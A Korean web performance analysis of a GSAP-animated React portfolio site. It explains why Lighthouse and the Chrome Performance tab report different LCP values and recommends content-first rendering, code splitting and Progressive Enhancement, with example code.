실제 적용한 예시까지도 보여주셔서 정말 많은 도움이 되었습니다.

개발하면서 제 스스로도 미심쩍고 의심이 들지만 그냥 넘길 때가 있었는데요,
특히 인트로 애니메이션을 매번 보여준 뒤, 주요 내용이 나오는 부분이 그랬습니다.
애니메이션을 강조하다가 성능과 접근성 모두를 낮추게 될 수도 있구나란 생각이 들었고,
앞으로 소개해주신 Progressive Enhancement 원칙에 부합하는 개발을 해야겠다는 생각이 들었습니다.

분석해주신 내용을 상세하게 학습하면서 하나 하나 포트폴리오에 적용해 개선해보도록 하겠습니다.
정말 최고입니다.. 진심으로 감사드립니다.

### 다른 개발자에게 이 성능 분석을 추천할 수 있을지

무조건 추천합니다. 이렇게 자세하게 성능에 대해 다루는 자료를 본 적이 없습니다.
출간되면 꼭 사서 읽어볼게요!

### 추가로 궁금하신 사항이나 보완이 필요한 부분

> 애니메이션을 구현할 때는 CSS의 트랜지션으로 구현하는 것이 라이브러리를 쓰는 것보다 더 성능에 좋은 지 궁금합니다.
> 직접 예시를 들어주신 classList.add() 메서드를 통한 추가 방식이 효과적이라고 생각하는데요,
> GSAP 같은 라이브러리도 내부적으로 최적화를 하고 있다고 알고 있는데 사실 성능 면에서 잘 모르니 자꾸 의심이 들었습니다.

단순한 트랜지션 효과의 경우에는 아무런 의존성이 없는 CSS 트랜지션이 당연히 더 유리할 것입니다. (아무런 자바스크립트의 부담이 없고, css 만 쓸 것이므로)

그러나 케이스가 복잡하거나, 사용자 인터랙션이 요구되는 상황에서는 GSAP도 마찬가지로 성능상의 손해가 느껴지지 않을 정도로 정도로 좋을 것으로 보입니다.

GSAP을 제가 많이 써본 것은 아닙니다만, (framer-motion을 주로 썼습니다) 아마도 내부적으로 GPU Path를 잘 타도록 제작되어 있을 것입니다.

> 애니메이션 성능에 대해 찾아보면서 GPU 가속화 이런 말을 많이 들었는데요, GPU가 어떻게 CSS를 처리하는지 궁금했습니다.
> 또한 애니메이션이 붙은 요소가 많아지더라도, 이런 원칙들을 잘 지키면 브라우저에서 60fps를 유지하면서 자연스럽게 실행될 수 있는 걸까요?

브라우저는 다음 조건을 만족하는 요소에 대해 자체적으로 레이어를 분리하여 GPU에서 합성 작업만 수행합니다.

https://www.chromium.org/developers/design-documents/gpu-accelerated-compositing-in-chrome/

- transform (translate, scale, rotate)
- opacity
- will-change
- position: fixed + z-index
- contain: paint

등등.. 은 이러한 속성들은 레이아웃 계산이나 페인트 단계를 건너뛰고, Composite 단계만 GPU에서 수행하게 되어 매우 빠르고 매끄럽게 처리됩니다.

따라서 애니메이션이 많이 적용해도 다음과 같은 조건이 맞다면 60fps를 달성할 수 있을 것입니다.

- GPU 친화 속성만 사용할 것 (transform, opacity)
- will-change를 남용하지 않을 것 (GPU 메모리 낭비)
- requestAnimationFrame 또는 내부 최적화 타이밍에 동기화시킬 것
- DOM 업데이트를 최소화할 것 (특히 scroll 연동일 경우, 스크롤의 속도를 DOM이 따라잡기 힘들수도 있음)

---

> 다음은 실제 개발자 분에게 전달 드린 글 입니다. 모두 공개 가능하다고 하셔서 별도 처리 없이 다 공개했습니다.

# portfolio-amber-mu-57.vercel.app 성능 분석

> **Disclaimer**

> 본 요약 내용은 제공된 portfolio-amber-mu-57.vercel.app 웹사이트 성능 분석 보고서(2025년 7월 19일 12시 기준)를 바탕으로 주요 사항을 간추린 것입니다. 분석 시점 이후 웹사이트의 업데이트나 환경 변화에 따라 실제 상태와는 차이가 있을 수 있습니다. 이번 분석은 브라우저에 배포되고 번들된 결과물을 토대로 유추하였기 때문에 실제 작성된 코드와 다소 차이가 있을 수도 있습니다.

> 제시된 성능 병목 지점 및 개선 방안은 일반적인 권장 사항이며, 실제 적용 시 효과는 웹사이트의 구체적인 구현 방식, 서버 환경, 트래픽 패턴 등 다양한 요인에 따라 달라질 수 있습니다. 본 요약은 정보 제공을 목적으로 하며, 제안된 내용을 적용함에 따른 최종적인 결정과 그 결과에 대한 책임은 웹사이트 관리 주체에게 있습니다.

> 보다 상세한 분석 내용, 방법론, 그리고 전체 컨텍스트는 원본 분석 보고서를 참고해주시기 바랍니다.

## 1. 요약

안녕하세요! [https://portfolio-amber-mu-57.vercel.app/](https://portfolio-amber-mu-57.vercel.app/) 웹사이트가 더욱 빠르고 안정적인 사용자 경험을 제공할 수 있도록, 현재 배포 중인 서비스에 대한 성능 분석 결과를 핵심 위주로 요약해드렸습니다.

`portfolio-amber-mu-57.vercel.app` 웹사이트는 **GSAP 기반의 인트로 애니메이션**과 **CSR 중심의 리액트 기술 스택**을 바탕으로 구성된 단일 페이지 포트폴리오입니다. 현재는 **개발 초기 단계로 보이며**, 애니메이션 연출 측면에서는 인상적인 사용자 경험을 제공합니다. 구조상 일부 설계 방식이 Lighthouse 등의 성능 측정 도구에서 불리하게 작용하고 있어 개선 여지가 확인되었습니다.

주요 분석 내용은 다음과 같습니다.

- **인트로 애니메이션 이후 주요 콘텐츠가 자바스크립트를 통해 동적으로 렌더링 및 마운트됨**  
  → LCP 측정 지연 및 콘텐츠 노출 타이밍 왜곡 발생
- **애플리케이션 전체 로직이 단일 `index.js` 번들에 포함됨**  
  → 자바스크립트 파싱 및 실행 지연, 캐시 재활용률 저하
- **GSAP 기반 전환 애니메이션이 콘텐츠 제거 후 재등장하는 방식으로 구성됨**  
  → 실제 콘텐츠가 브라우저 및 크롤러에 늦게 인식됨
- **`react`, `react-dom`, `emotion`, `gsap` 등 외부 라이브러리가 하나의 번들에 포함됨**  
  → 초기 청크 크기 증가 및 로딩 지연 발생
- **핵심 콘텐츠가 초기 HTML에 포함되지 않음**  
  → SEO 및 접근성 측면에서 불리
- **Lighthouse와 Performance 탭 간 LCP 측정 결과 불일치**  
  → 측정 종료 시점 기준의 구조적 차이에 기인

이에 따라 다음과 같은 개선 방안을 우선적으로 제안드립니다.

- **콘텐츠 우선 렌더링 및 Progressive Enhancement 적용**:
  - 주요 콘텐츠는 초기에 HTML에 포함하고, 시각적 전환만 애니메이션으로 처리합니다.
  - 자바스크립트가 비활성화된 환경에서도 최소한의 정보가 전달되도록 구조를 개선합니다.
- **GSAP 애니메이션 구조 재설계**:
  - 콘텐츠를 제거한 뒤 다시 등장시키는 방식 대신, `opacity`, `transform` 등 GPU 친화적인 속성으로 시각적 전환만 구현합니다.
  - 첫 한줄 소개 이후에야 실질 콘텐츠가 렌더링되는 구조는 LCP 측면에서 불리하므로 제거를 권장합니다.
- **코드 스플리팅 및 청크 캐싱 전략 도입**:
  - `react`, `react-dom` 등 정적 라이브러리는 `manualChunks` 옵션으로 별도 분리합니다.
  - 작은 변경에도 전체 번들이 재생성되지 않도록 하여 사용자 캐싱을 최대한 활용할 수 있는 구조로 전환합니다.
- **첫 방문자 / 재방문자 분기 처리**:
  - 첫 방문 시 전체 인트로 애니메이션, 이후에는 축약된 전환 또는 즉시 콘텐츠를 노출 시키는 전략을 추천해드립니다.
  - 이렇게 함으로써 첫번째 방문자에겐 깊이 있는 애니메이션을, 반복적으로 접근하는 사용자에게는 빠르게 해당 사용자가 원하는 컨텐츠를 제공할 수 있습니다.
  - `localStorage` 등을 활용한 방문자 상태 추적

이러한 개선 사항들을 적용하시면 초기 렌더링 시점의 사용자 경험은 물론, LCP/FCP 등의 주요 성능 지표, 검색 엔진 최적화, 모바일 대응력까지 다방면에서 개선 효과를 기대할 수 있습니다. 자세한 기술적 맥락과 근거는 본문 보고서를 참고해주시기 바랍니다.

## 2. 분석 개요

2025년 7월 19일 기준 배포된 웹사이트를 분석했습니다.

## 3. 웹사이트 분석

![1.png](./images/portfolio/1.png)

![2.png](./images/portfolio/2.png)

분석에 사용한 도구는 다음과 같습니다.

- chrome dev tool
- webpagetest

### 3-1. 주요 프레임워크 및 라이브러리, 빌드 환경

이 웹사이트는 단 하나의 자바스크립트 리소스만 가지고 있기 때문에, 이 자바스크립트 리소스를 토대로 어떤 프레임워크와 라이브러리를 사용하는지 분석해보았습니다.

- react: react@19.1.0
- vite: ESModule 을 사용한 빌드 방식을 확인할 수 있었습니다. 아마도 create-vite 기반의 리액트 보일러 플레이트를 사용하여 개발된 프로젝트 일 것으로 보입니다.
- emotion: `data-emotion` `__EMOTION_TYPE_PLEASE_DO_NOT_USE__` 와 같은 emotion 특유의 예약어를 볼 수 있었습니다.
- GSAP: [GreenSock Animation Platform](https://gsap.com/)은 (이하 GSAP) 웹에서 사용되는 강력한 자바스크립트 애니메이션 라이브러리 입니다. 이 라이브러리에서만 사용되는 고유한 네이밍 컨벤션, 텍스트 스플릿 애니메이션, 타임라인과 시퀀스 구조 등이 눈에 띄었습니다. 이 웹사이트의 대부분을 이루는 애니메이션은 GSAP을 기반으로 제작되었을 것으로 보입니다.
- jotai: `useAtom`, `useSetAtom` 과 같은 jotai 특유의 상태 관리를 위한 함수 사용 패턴을 발견헀습니다. jotai를 쓰고 있거나, 혹은 이와 비슷한 라이브러리를 직접 구현하였거나 차용한 것으로 보입니다.
- react-router: 리액트 라우터 특유의 에러메시지 또는 문자열을 확인할 수 있었습니다.

### 3-2. 배포 환경

주소에서 명확히 드러나듯, https://portfolio-amber-mu-57.vercel.app/ 는 현재 **Vercel 플랫폼을 통해 배포 및 서비스되고 있는 웹사이트**입니다.

## 4. 주요 질문에 대한 답변

개발자님께서 가지고 계신 고민인 낮은 라이트 하우스 성능 점수를의 근본적인 원인을 파악하고, 우선적으로 개선해야할 지점을 구체적으로 분석해보았습니다.

### 4-0. 들어가기전에: 왜 performance tab 과 ligththouse 의 점수가 다를까?

웹 성능 분석에서 가장 당혹스러운 순간 중 하나는 같은 페이지를 측정했는데 Performance 탭과 Lighthouse에서 LCP 값이 전혀 다르게 나오는 상황입니다. 실제로 개발자님께서 Lighthouse 점수가 낮다고 고민하셨던 반면, [WebPageTest](https://webpagetest.org/)나 DevTools 내 Lighthouse 탭에서는 꽤 좋은 점수가 나오고 있었습니다.

![3.png](./images/portfolio/3.png)

![4.png](./images/portfolio/4.png)

위 스크린샷은 각각 webpagetest 와 크롬 개발자 도구에서 측정한 점수로, 라이트 하우스 점수가 모두 뛰어나게 나오는 것을 볼 수 있습니다.

하지만 performance 탭에서는 조금 이야기가 다릅니다.

![5.png](./images/portfolio/5.png)

앞서 라이트하우스가 뛰어난 점수를 보여준 것과는 다르게, performance 탭에서는 LCP가 4초 대로 떨어진 것을 볼 수 있습니다. 이 원인을 알기 위해서는, performance 탭과 라이트하우스의 측정 방식의 차이점을 알아볼 필요가 있습니다.

도구마다 결과가 다른 이유는 단순한 측정 오차가 아니라, 측정 종료 시점을 결정하는 로직과 철학의 차이 때문입니다.

#### 4-0-1. Performance 탭의 종료 시점: 사용자의 실제 경험에 가까운 기록

Performance 탭은 DevTools가 브라우저의 실제 실행 경로를 그대로 추적합니다. 로드 이벤트가 끝난 이후에도 추가적인 사용자 인터페이스 변화(예: 자바스크립트 애니메이션, 렌더링 등)를 관찰하기 위해, 자동으로 5초를 더 기록합니다. 관련 소스는 [크로미움 코드베이스](https://source.chromium.org/search?q=millisecondsToRecordAfterLoadEvent)에서도 확인할 수 있습니다.

```js
UI.panels.timeline._millisecondsToRecordAfterLoadEvent = 5000
```

이는 사용자가 느끼는 실제 체감 성능을 반영하려는 목적입니다. 코드를 보면, 실제 `millisecondsToRecordAfterLoadEvent`라는 변수명을 토대로 5000ms 정도 대기하고 있는 것을 볼 수 있습니다. 이는 실제로 performance 탭에서 성능을 기록해보면 대략적으로 유추해볼 수도 있습니다.

![13.gif](./images/portfolio/13.gif)

정확하지는 않지만, 약 5초 정도 대기하고 있는 것을 볼 수 있습니다.

그렇다면 이 초 단위를 수정해보고, 그리고 실제로 다시 측정해서 점수가 라이트하우스가 낮게 나온다면 이러한 가정이 정말 맞는지 확인해 볼 수 있지 않을까요? 이 대기시간을 수정하는 방법은 다음과 같습니다. 조금 과한 확인일 수도 있지만 재미있을 것 같으니 한번 살펴보겠습니다. 😄

1. 먼저 크롬 개발자 모드를 활성화 시킵니다.
2. 우측 상단의 삼점 메뉴를 누른다음, Dock side 를 맨왼쪽 아이콘을 클릭합니다. 이렇게하면 크롬 개발자 도구 화면이 별도 창으로 뜹니다.
   ![6.png](./images/portfolio/6.png)
3. 이 개발자 도구가 떠있는 화면에서, 크롬 개발자 도구를 여는 단축키 Ctrl+Shift+i or ⌘+⌥+|i 를 또 누릅니다. 그러면 개발자도구를 위한 개발자 도구가 뜹니다. 이러한 방식을 devtools on devtools 라고 부릅니다.
   ![7.png](./images/portfolio/7.png)
   이 창에서는 웹사이트에서 사용중인 개발자도구를 개발자도구로 열어서 우리가 원하는 조작을 수행할 수 있습니다.
4. 콘솔 창으로 이동한다음, `UI.panels.timeline.millisecondsToRecordAfterLoadEvent = 3000` 을 입력합니다. 이렇게 하면, 이제 5초를 대기하던 performance 가 3초만 대기하게 됩니다.

그리고 다시금 성능을 측정해보면, 라이트하우스와 비슷하게 LCP 가 굉장히 비슷하게 좋은 점수로 나오는 것을 확인할 수 있습니다.

![8.png](./images/portfolio/8.png)

#### 4-0-2. Lighthouse의 종료 시점: "완전히 로드되었는가?"를 판단하는 세 가지 조건

그렇다면 라이트하우스는 어떤 시점을 토대로 점수를 측정할까요? 라이트 하우스의 측정 조건을 알기 위해서는 라이트 하우스의 코어 로직을 살펴볼 필요가 있습니다.

https://paulirish.github.io/lighthouse/docs/api/lighthouse/2.5.1/lighthouse-core_gather_driver.js.html

측정이 종료되는 시점을 살펴보기 위해서는 `_waitForFullyLoaded` 메서드를 살펴봐야 합니다. 이 함수는 페이지 로딩 완료 시점을 측정하는 메서드로, 다음 세가지 조건을 만족해야 합니다.

```js
_waitForFullyLoaded(pauseAfterLoadMs, networkQuietThresholdMs, cpuQuietThresholdMs,
                   maxWaitForLoadedMs) {
  let maxTimeoutHandle;  // 타임아웃 핸들 저장용

  // 1. Load 이벤트 대기 (+ 추가 대기 시간)
  // pauseAfterLoadMs: Load 이벤트 후 추가로 기다릴 시간 (기본값: 0ms)
  const waitForLoadEvent = this._waitForLoadEvent(pauseAfterLoadMs);

  // 2. Network Quiet 대기
  // networkQuietThresholdMs: 네트워크가 조용해야 하는 시간 (기본값: 5000ms)
  // 조용함의 기준은? 동시 진행 중인 요청이 2개 이하
  const waitForNetworkIdle = this._waitForNetworkIdle(networkQuietThresholdMs);

  // 3. CPU Quiet 대기 (나중에 초기화)
  let waitForCPUIdle = null;

  // 4. Load와 Network가 모두 완료되면 실행되는 Promise
  const loadPromise = Promise.all([
    waitForLoadEvent.promise,      // Load 이벤트 대기
    waitForNetworkIdle.promise,    // Network Quiet 대기
  ]).then(() => {
    // Network가 조용해진 후에만 CPU 체크 시작!
    // cpuQuietThresholdMs: CPU가 조용해야 하는 시간 (기본값: 0 = 체크 안함)
    waitForCPUIdle = this._waitForCPUIdle(cpuQuietThresholdMs);
    return waitForCPUIdle.promise;
  }).then(() => {
    // 모든 조건 충족 시 cleanup 함수 반환
    return function() {
      log.verbose('Driver', 'loadEventFired and network considered idle');
      clearTimeout(maxTimeoutHandle);  // 타임아웃 취소
    };
  });

  // 5. 최대 대기 시간 타임아웃 (안전장치)
  // maxWaitForLoadedMs: 최대 대기 시간 (기본값: 30초)
  const maxTimeoutPromise = new Promise((resolve, reject) => {
    maxTimeoutHandle = setTimeout(resolve, maxWaitForLoadedMs);
  }).then(_ => {
    // 타임아웃 시 cleanup 함수 반환
    return function() {
      log.warn('Driver', 'Timed out waiting for page load. Moving on...');
      waitForLoadEvent.cancel();       // 모든 대기 취소
      waitForNetworkIdle.cancel();
      waitForCPUIdle && waitForCPUIdle.cancel();
    };
  });

  // 6. 경쟁: 정상 완료 vs 타임아웃 중 먼저 끝나는 것
  return Promise.race([
    loadPromise,        // 정상적인 측정 완료
    maxTimeoutPromise,  // 30초 타임아웃
  ]).then(cleanup => cleanup());  // cleanup 함수 실행
}
```

해당 함수는 아래 세 가지 조건을 순차적으로 확인하며, 그 중 하나라도 만족하지 못하면 `maxWaitForLoadedMs` (기본값 30초) 이후 강제 종료됩니다.

1. Load 이벤트 발생 + 지정된 시간만큼 대기 (`pauseAfterLoadMs`)
   - 기본값은 `0ms`이며, Load 이벤트 이후 바로 다음 조건으로 넘어감
2. Network Quiet 상태 유지 (`networkQuietThresholdMs`)
   - 진행 중인 네트워크 요청이 2개 이하인 상태가 `5000ms` 이상 유지되어야 함
   - Lighthouse 내부에서는 `"network-2-quiet"` 상태로 판단
3. CPU Quiet 상태 유지 (`cpuQuietThresholdMs`)
   - 50ms 이상의 Long Task가 없어야 하며,
   - 마지막 Long Task가 종료된 시점부터 `cpuQuietThresholdMs` (예: 5000ms) 이상 지나야 함
   - 단, `cpuQuietThresholdMs`가 0일 경우 이 체크는 생략됨
4. 종료 조건 경쟁
   - 정상적인 조건이 충족되면 종료
   - 그 외에는 30초 타임아웃 이후 강제 종료

#### 4-0-3. 결론: LCP가 다르게 나오는 건 '의도된 차이'다

지금까지 이야기한 내용을 표로 정리하면 다음과 같습니다.

| 항목          | Performance 탭                   | Lighthouse                                                     |
| ------------- | -------------------------------- | -------------------------------------------------------------- |
| 목적          | 실시간 동작 기록                 | 특정 조건에 따른 통제된 환경에서의 품질 측정                   |
| 종료 기준     | `load` 이벤트 + 5초 후 자동 종료 | Load, Network, CPU Idle 조건 만족 시 종료 (또는 30초 타임아웃) |
| LCP 수집 시점 | 마지막 콘텐츠 등장까지 감지 가능 | 조기 종료되면 나중에 등장한 요소는 반영 안 됨                  |
| 측정값        | 실제 사용자 경험에 가까움        | 실험적 기준 기반 (변수 통제 가능)                              |

DevTools의 Performance 탭에서 LCP가 더 느리게 측정되는 이유는 그것이 실제로 유저가 콘텐츠를 보게 되는 순간까지를 감지하려는 목적이기 때문입니다. 반면, Lighthouse는 페이지가 충분히 안정되었다고 판단되면 일찍 측정을 종료하며, 그 이후 나타난 큰 콘텐츠는 LCP 후보로 포함되지 않습니다.

따라서 Lighthouse에서 LCP가 낮게 나오고, Performance 탭에서 높게 나오는 것은 단순한 오차가 아니라 도구의 설계 목표 차이로 이해해야 합니다. 이 차이를 이해하면 어떤 도구에서의 결과가 실제 문제인지를 더 명확히 판단할 수 있습니다.

물론 가장 정확한 성능 측정은 실제 사용자 데이터를 기반으로 한 RUM(Real User Monitoring)입니다. 이를 측정하기 위한 도구인 Lighthouse와 DevTools는 그 보조 수단일 뿐, 진짜 정답은 브라우저가 아니라 사용자의 눈이 가지고 있다는 점을 잊지 마셔야 합니다.

### 4-1. Performance 탭에서 LCP가 더 느리게 측정되는 구조적 이유

앞서 Lighthouse와 Performance 탭 간의 LCP 측정 차이는 **측정 종료 시점을 결정하는 기준의 차이**에서 발생한다는 점을 설명드렸습니다. 이번 항목에서는 해당 웹사이트의 렌더링 흐름을 바탕으로, 왜 Performance 탭에서 LCP가 상대적으로 더 늦게 측정되는지를 구체적으로 분석해보겠습니다.

#### 4-1-1. 초기 렌더링: 비어 있는 루트 요소

페이지 초기 진입 시점에서 `div#root` 요소는 콘텐츠 없이 빈 상태로 존재합니다. 초기 렌더링 시 뷰포트 내에 표시되는 의미 있는 요소가 없기 때문에, LCP 후보 또한 존재하지 않습니다. 이는 브라우저가 최초로 시각적 콘텐츠를 감지할 수 없는 상태로 해석됩니다.

#### 4-1-2. 자기소개 텍스트의 등장: 전환용 애니메이션 콘텐츠

이후 `.introTitle`, `.introTitleFill` 등의 클래스명을 가진 요소가 등장하며, 짧은 자기소개 문구가 화면에 나타납니다. 해당 동작은 GSAP 기반의 커스텀 애니메이션 구현체를 통해 시퀀스 단위로 재생됩니다. 이 시점에서 해당 텍스트 블록이 LCP 후보로 기록되었을 것입니다. 실제, webpagetest 를 통해 살펴보면 해당 영역이 LCP로 기록되어있음을 볼 수 있습니다.

![9.png](./images/portfolio/9.png)

#### 4-1-3. 첫 번째 콘텐츠 제거 및 주요 콘텐츠 진입

자기소개 문구가 등장한 이후, `.introTitleSection` 전체를 대상으로 다시 페이드 아웃 애니메이션이 적용됩니다. 해당 영역은 투명도와 Y축 이동을 통해 시각적으로 제거되며, 이어서 실제 웹사이트 본문의 주요 콘텐츠가 렌더링됩니다. 이 단계에서 사용되는 핵심 코드는 다음과 같습니다.

```ts
// 블로그 글로 추정컨데 Rally 라는 라이브러리? 함수? 를 만드시지 않았을까 추측해봅니다.
Rally({
  target: '.introTitleSection',
  motions: [
    {
      delay: 0.4,
      duration: 0.6,
      ease: 'back.in',
      opacity: {
        to: 0,
      },
      translateY: {
        to: -30,
      },
    },
  ],
})
```

해당 애니메이션 시퀀스의 종료 시점 이후에 실제 컨텐츠를 렌더링하는 콜백이 실행되며, 이 시점부터 실제 웹사이트의 핵심 콘텐츠가 마운트되고 뷰포트 내에 표시됩니다.

#### 4-1-4. LCP 측정 지점의 차이: 측정 종료 시점에 따른 후보 누락 여부

여기에서 4-0. 파트에서 이야기 했던 내용을 다시금 상기해볼 필요가 있습니다.

- **Lighthouse**는 내부 로직상 네트워크 및 CPU가 idle 상태에 도달하면 LCP 측정을 종료합니다. 위에서 설명한 `updateStep` 콜백이 실행되기 이전에 측정이 종료되기 때문에, **실제 콘텐츠가 아닌 자기소개 텍스트가 최종 LCP 후보로 기록됩니다.**
- **Performance 탭**은 Load 이벤트 이후에도 5초간 추가로 관찰을 수행합니다. 이로 인해 `updateStep` 콜백 이후 등장하는 **실제 콘텐츠 영역이 LCP 후보로 감지되며**, 최종적으로 **더 늦은 시점의 콘텐츠가 LCP로 기록**됩니다.

따라서, 웹사이트의 측정 목표에 따라 LCP나 다른 지표의 점수를 어떻게 판단할지 고려해볼 필요가 있습니다.

#### 4-1-5. 점수 차이에 따른 결과

해당 웹사이트는 초기 콘텐츠가 임시적으로 등장하고 이후 제거되는 **전환형 구조**를 가지고 있으며, 실제 주요 콘텐츠는 늦은 시점에 등장합니다. 이 구조에서는 Lighthouse가 실질적인 콘텐츠가 등장하기 이전에 측정을 종료해버리기 때문에 LCP가 짧게 측정되며, 반면 Performance 탭은 **사용자가 실질적으로 보는 시점까지 포함하여 측정**하기 때문에 LCP가 더 길게 기록됩니다.

이는 단순한 측정 오차가 아니라, 두 도구의 설계 목적에 따른 **의도된 측정 차이**입니다. 따라서 실제 사용자 경험과 가까운 성능 지표를 확보하고자 할 경우, Performance 탭의 결과를 기준으로 판단하거나 RUM 기반 측정 도입을 고려하는 것이 바람직합니다.

### 4-2. 현재 문제를 해결하기 위한 제안

현재 웹사이트는 초기 콘텐츠가 지연되어 등장하는 구조로 인해, 사용자 경험과 성능 측정 지표, 검색 최적화 측면에서 몇 가지 한계를 드러내고 있습니다. 이는 의도적으로 연출된 시각 효과 측면에서는 장점이 될 수 있으나, 실제 운영되는 포트폴리오 웹사이트로서의 목적에는 다소 부합하지 않는 면이 있습니다.

본 절에서는 **Progressive Enhancement** 원칙을 기반으로, 현재 구조의 단점을 보완하면서도 애니메이션 효과는 유지할 수 있는 개선 방안을 제안합니다.

> **Progressive Enhancement란?** https://en.wikipedia.org/wiki/Progressive_enhancement
>
> Progressive Enhancement(점진적 향상)는 웹 접근성과 안정성을 보장하기 위한 설계 철학으로, **핵심 콘텐츠와 기능을 가장 기본적인 형태로 먼저 제공한 뒤**, 브라우저나 기기의 성능, 사용자의 환경에 따라 **점진적으로 시각적·상호작용적 기능을 추가하는 방식**을 말합니다.  
> 즉, **콘텐츠와 의미 구조가 항상 최우선으로 제공되어야 하며**, 자바스크립트나 고급 스타일링은 **기본 기능이 보장된 이후에 선택적으로 동작**해야 합니다.  
> 이 원칙은 다양한 사용자 환경을 고려한 웹 개발의 기본 전략으로 널리 채택되고 있으며, 성능 최적화, 접근성, SEO 개선 등에도 직접적인 영향을 미칩니다.

#### 4-2-1. 콘텐츠 우선 렌더링 구조로 전환합니다.

가장 우선적으로 고려해야 할 개선 사항은 **주요 콘텐츠를 초기 HTML에 포함시키는 것**입니다. 현재 구조에서는 인트로 애니메이션이 완료된 이후에야 실질적인 콘텐츠가 자바스크립트를 통해 마운트되기 때문에, 브라우저 및 성능 측정 도구는 콘텐츠가 존재하지 않는 페이지로 인식하게 됩니다.

이러한 콘텐츠 지연 노출 구조는 LCP와 같은 성능 지표를 악화시킬 뿐만 아니라, 검색 엔진이 콘텐츠를 적절히 인덱싱하지 못해 **SEO 측면에서도 불리한 결과**를 초래할 수 있습니다.

여기서 말하는 콘텐츠 우선 렌더링이란, 서버 사이드 렌더링(SSR)이나 프레임워크 전환을 의미하는 것이 아닙니다. 물론 SSR 을 도입한다면 훨씬 더 빠르게 성능을 향상시킬 수도 있습니다. 그러나 현재와 같은 CSR 기반 환경에서도, 의미 있는 콘텐츠를 HTML 상에 포함시키고, 이후 애니메이션을 통해 시각적으로 노출하는 방식으로 충분히 구현할 수 있습니다.

예를 들어, 주요 콘텐츠를 DOM에 미리 포함한 뒤 `opacity`, `transform`, `visibility` 등 CSS 속성을 활용하여 시각적 전환을 구현하면, 사용자는 페이지 진입 직후부터 정보를 인지할 수 있으며, 성능 측정 도구도 이를 정확히 반영할 수 있습니다. 결과적으로 LCP와 같은 메트릭은 실질적인 콘텐츠 기준으로 측정되며, SEO 친화적인 구조로 개선됩니다.

이와 같은 방식은 **현재의 CSR 구조를 유지하면서도 Progressive Enhancement 원칙에 부합하는 가장 현실적인 개선 전략**입니다.

#### 4-2-2. 애니메이션은 시각적 계층에서 처리합니다.

애니메이션을 적용할 때는 콘텐츠 자체의 **렌더링 시점을 지연시키는 방식보다는**, 이미 렌더링된 콘텐츠에 **시각적 스타일을 통해 점진적으로 등장하는 효과를 주는 방식이 바람직**합니다.

예를 들어, 현재 구조처럼 자바스크립트 실행 후 특정 DOM 노드를 생성하고 마운트하는 방식은 **브라우저와 성능 측정 도구가 해당 콘텐츠를 늦게 인식하도록 만들며**, LCP, FCP 등의 지표가 불리하게 측정될 수 있습니다. 또한 콘텐츠가 늦게 삽입되면 검색 엔진 크롤러가 콘텐츠를 발견하지 못할 가능성도 있습니다.

이를 해결하기 위해 다음과 같은 속성을 활용한 **시각적 애니메이션 처리 방식**을 제안합니다:

- `opacity`: 투명도를 점진적으로 증가시켜 자연스럽게 등장시키기
- `transform`: `translateY`, `scale` 등을 이용한 위치 이동이나 확대/축소 효과
- `clip-path`: 요소가 일정 형태로 점점 잘려 나가거나 드러나게 하는 효과
- `visibility`: `visibility: hidden` → `visible`로 변경하며 시야에 노출

```html
<!--다음 예시 코드는 실제 포트폴리오와 상관없이 만든 예제 코드입니다. -->
<section class="intro">
  <h1 class="intro-title">김성현입니다</h1>
  <p class="intro-description">프론트엔드 개발자 포트폴리오</p>
</section>

<style>
  .intro {
    opacity: 0;
    transform: translateY(30px);
    transition:
      opacity 0.6s ease-out,
      transform 0.6s ease-out;
  }

  .intro.visible {
    opacity: 1;
    transform: translateY(0);
  }
</style>

<script>
  window.addEventListener('DOMContentLoaded', () => {
    requestAnimationFrame(() => {
      document.querySelector('.intro')?.classList.add('visible')
    })
  })
</script>
```

위 예시는 HTML에 콘텐츠가 **처음부터 존재하며**, 자바스크립트는 그저 클래스 하나를 추가하여 시각적 애니메이션만 부여하는 구조입니다. 이렇게 구성하면 **검색 엔진, Lighthouse, 브라우저 렌더링 엔진이 모두 콘텐츠를 정확히 인식할 수 있으며**, 동시에 사용자는 부드러운 전환 효과를 경험하게 됩니다.

이 방식은 또한 GPU 레벨에서 최적화되는 애니메이션 속성(opacity, transform)을 중심으로 구성되기 때문에, **모바일 기기에서도 성능 저하 없이 안정적인 동작**이 가능합니다.

#### 4-2-3. 첫 방문과 재방문을 구분하는 전략을 도입합니다.

포트폴리오의 성격상 첫 방문자에게는 시각적으로 인상적인 연출을 제공하는 것이 중요할 수 있습니다. 그러나 반복 방문 사용자에게는 콘텐츠 접근성이 더 중요합니다. 이에 따라 **방문 이력을 기반으로 애니메이션 실행 여부를 분기하는 전략**이 유효할 수도 있습니다.

```javascript
// 첫 방문자에게만 전체 인트로 애니메이션을 실행
const showFullAnimation = !localStorage.getItem('returning-visitor')

if (showFullAnimation) {
  runIntroAnimation()
  localStorage.setItem('returning-visitor', 'true')
} else {
  skipToContentImmediately()
}
```

이러한 방식은 사용자의 피로도를 줄이면서도, 첫 노출에서 시각적 임팩트를 유지하는 절충안이 될 수 있습니다.

#### 4-2-4. 실무 적용 시 점검 항목

앞서 제안한 개선 사항들을 실제 프로젝트에 반영할 때는, 다음의 항목들을 체크리스트 형태로 활용하여 코드 품질, 성능, 접근성 측면에서 구조적으로 문제가 없는지 사전에 검토해보시는 것은 어떨까요?

- **모든 텍스트 콘텐츠가 초기 HTML에 포함되었는가?**  
  → 성능 측정 도구와 검색 엔진이 콘텐츠를 정확히 인식할 수 있도록 합니다.
- **자바스크립트 비활성화 상태에서도 콘텐츠가 보이는가?**  
  → Progressive Enhancement 원칙을 따르고 있는지 확인합니다.
- **애니메이션이 `will-change` 속성으로 최적화되었는가?**  
  → `will-change`는 브라우저에 "이 속성이 곧 변경될 예정"이라는 힌트를 주는 CSS 속성입니다. 예를 들어 `will-change: transform`을 설정하면 브라우저는 해당 요소에 대해 레이어 분리나 GPU 가속 처리를 미리 준비하여 **레이아웃 계산 및 리페인트 비용을 줄일 수 있습니다**. 다만 과도한 사용은 오히려 성능을 저하시킬 수 있으므로 변화가 집중되는 핵심 요소에만 국한해서 사용하는 것이 좋습니다.
- **`prefers-reduced-motion` 미디어 쿼리를 고려했는가?**  
  → `prefers-reduced-motion`은 **사용자가 운영체제 또는 브라우저에서 애니메이션 최소화를 선호한다고 명시했을 때** 이를 감지할 수 있는 CSS 미디어 쿼리입니다. 이를 활용하면 애니메이션이나 전환 효과를 최소화하거나 생략함으로써 모션 민감 사용자를 배려해줄 수 있습니다.

  ```css
  @media (prefers-reduced-motion: reduce) {
    .animated {
      animation: none;
      transition: none;
    }
  }
  ```

